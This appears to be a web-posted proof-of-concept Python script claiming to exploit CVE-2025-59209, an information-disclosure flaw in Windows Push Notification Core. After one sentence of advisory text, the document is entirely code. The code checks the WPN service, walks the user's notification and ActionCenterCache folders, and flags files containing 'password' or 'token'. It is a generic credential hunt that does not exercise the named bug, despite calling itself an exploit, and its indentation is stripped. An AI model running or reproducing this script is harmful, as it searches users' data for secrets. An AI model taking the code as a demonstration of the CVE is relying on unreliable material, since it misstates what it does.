Exposure of sensitive information to an unauthorized actor in Windows Push Notification Core allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-59209 - Windows Push Notification Core Information Disclosure PoC
# This is a conceptual PoC demonstrating the vulnerability exploitation pattern
import ctypes
import os
import sys
def check_wpn_service():
"""Check if Windows Push Notification Core service is running"""
try:
import win32serviceutil
import win32service
service_status = win32serviceutil.QueryServiceStatus("WpnService")
if service_status[1] == win32service.SERVICE_RUNNING:
print("[+] WPN Service is running")
return True
except ImportError:
print("[!] pywin32 not installed, skipping service check")
except Exception as e:
print(f"[-] Service check failed: {e}")
return False
def exploit_information_disclosure():
"""
Exploit CVE-2025-59209: Information disclosure via WPN Core
Requires: Low-privilege local user account
"""
print("[*] CVE-2025-59209 PoC - WPN Core Information Disclosure")
print("[*] Requires local low-privilege access")
# Step 1: Verify local access
try:
username = os.getlogin()
print(f"[+] Running as user: {username}")
except Exception as e:
print(f"[-] Cannot determine user: {e}")
return False
# Step 2: Check WPN service status
if not check_wpn_service():
print("[!] WPN service not available")
# Step 3: Attempt to access WPN notification data
wpn_paths = [
os.path.expandvars(r"%LOCALAPPDATA%\Microsoft\Windows\Notifications"),
os.path.expandvars(r"%PROGRAMDATA%\Microsoft\Windows\Notifications"),
os.path.expandvars(r"%LOCALAPPDATA%\Microsoft\Windows\ActionCenterCache"),
]
sensitive_data_found = []
for path in wpn_paths:
if os.path.exists(path):
print(f"[+] Found WPN data path: {path}")
try:
for root, dirs, files in os.walk(path):
for file in files:
filepath = os.path.join(root, file)
try:
with open(filepath, 'rb') as f:
content = f.read(1024)
# Check for potential sensitive patterns
if b'password' in content.lower() or b'token' in content.lower():
sensitive_data_found.append(filepath)
except PermissionError:
pass
except PermissionError:
print(f"[-] Access denied to: {path}")
if sensitive_data_found:
print(f"[!] Found {len(sensitive_data_found)} files with potential sensitive data")
for f in sensitive_data_found:
print(f" -> {f}")
return True
if __name__ == "__main__":
if exploit_information_disclosure():
print("[*] PoC execution completed")
else:
print("[-] PoC execution failed")